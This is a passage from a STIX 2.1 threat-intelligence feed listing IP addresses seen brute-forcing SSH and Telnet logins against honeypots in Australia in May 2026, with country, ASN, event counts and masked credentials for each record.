      "pattern": "[ipv4-addr:value = '134.209.122.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): S********4.",
      "id": "indicator--907ecdf5-ee3c-4d1a-b09b-6052cbc5e335",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.237.122.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): g****t. Passwords observed (masked): g****t.",
      "id": "indicator--5fd739fe-7ff2-4416-9c9f-c67376d329e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.22.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CV. ASN(s): 37517. Organisation(s): CVTS1.",
      "id": "indicator--336babeb-5c47-47b5-b6b4-b6900971ccd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.90.126.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--f9458c27-2193-4e72-b761-1ff6f527b7b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.83.57.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267101. Organisation(s): ACB Fibra.",
      "id": "indicator--38ce4b33-f18a-4d7e-85c0-51d0acf1f583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.192.115.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9fd8d9a4-4dbd-4930-abde-ab76e3737c4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.34.12.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--b2723512-dac0-4075-9283-92b2a99d3941",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.161.250.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--7dd85759-7573-4e50-a0e7-a9a8ea12ceba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.181.142.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 52495. Organisation(s): Cotel Ltda..",
      "id": "indicator--c5d264bb-75fa-442c-af06-9dd474217dbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.109.227.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--12efedc3-9880-4396-98bd-b5a1d058bc6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.235.196.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7c66e3ea-304f-45f7-aa1e-6374ad4007db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.252.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ab8d9b11-cb41-4e6f-9a49-6b2ac87e3a30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.74.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--2abf8782-831e-41e5-9500-2d3e7400e2f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.18.78.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 271989. Organisation(s): WALCOM ES LA RED WMPP SRL.",
      "id": "indicator--2573cb27-355a-472e-b71a-f3a9845d0e90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.56.20.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--85a00143-d8e1-4d1d-bcab-ba3bc2b9f971",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.59.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, v*****t, 3**********4, a***t, a***a. Passwords observed (masked): 1*********y, 3***********4, 3**********4, A*******#, H********3.",
      "id": "indicator--1f1f86d0-17ca-4096-90f9-860318009dc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.162.82.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EC. ASN(s): 266756. Organisation(s): EBESTPHONE ECUADOR S.A..",
      "id": "indicator--ef239443-a497-48f3-bad8-a5d3b638ef07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.233.94.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--d6167ed7-8733-4660-b9d7-760abb02cd7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.186.225.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--61c60003-ce24-461d-a4dc-71ca0ffb20b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.102.86.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--836cc16e-847d-486f-b2ce-65d3719feb7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.130.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--6b79f477-32d7-437f-8358-743327247563",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.164.20.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--b2fb56f3-cf52-4e8f-a2a3-ed7e1fdd6766",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.247.247.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8d455c77-aad6-489d-a6e7-25dd9a1ed9fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.77.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c7077495-501a-42f3-b69d-e826e0b0c25f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.97.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140293. Organisation(s): CHINATELECOM Jiangsu province Changzhou 5G network.",
      "id": "indicator--3e91c4b9-9877-4ad9-a435-9555ef4dfb1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.226.84.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3cfe3da7-5007-47e9-83e5-b065e900a544",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.228.185.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2ba404a0-882a-48e7-b97a-110bac0ea590",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.113.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--a1cdb732-057b-4a84-af0e-d74d5e09b82e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.207.40.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--216213d6-42db-4923-b437-e490c85cee7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.252.244.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--44ec8f9d-b5a0-4b56-9162-082033353b06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.248.164.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--7959199f-d974-4dc9-ad7a-f99eea1c0173",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.163.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--469bf8ed-194b-41db-bef3-5623ff01a83c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.166.66.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263922. Organisation(s): SPEED TURBO TELECOM.",
      "id": "indicator--fd6cb619-77eb-4b75-90f6-fd7677df8944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.219.98.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--11f73f79-e65e-41f2-b7a1-7986dbf5fce3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.228.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a0006ca2-594b-452b-a38a-4e49e1191b74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.89.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52606. Organisation(s): BRASILNETS COM. ATAC. DE EQ. INFORMATICA LTDA ME.",
      "id": "indicator--54eef086-0d21-4175-9d70-82dcfff0c212",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.125.40.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 270161. Organisation(s): Television Internacional, S.A. de C.V..",
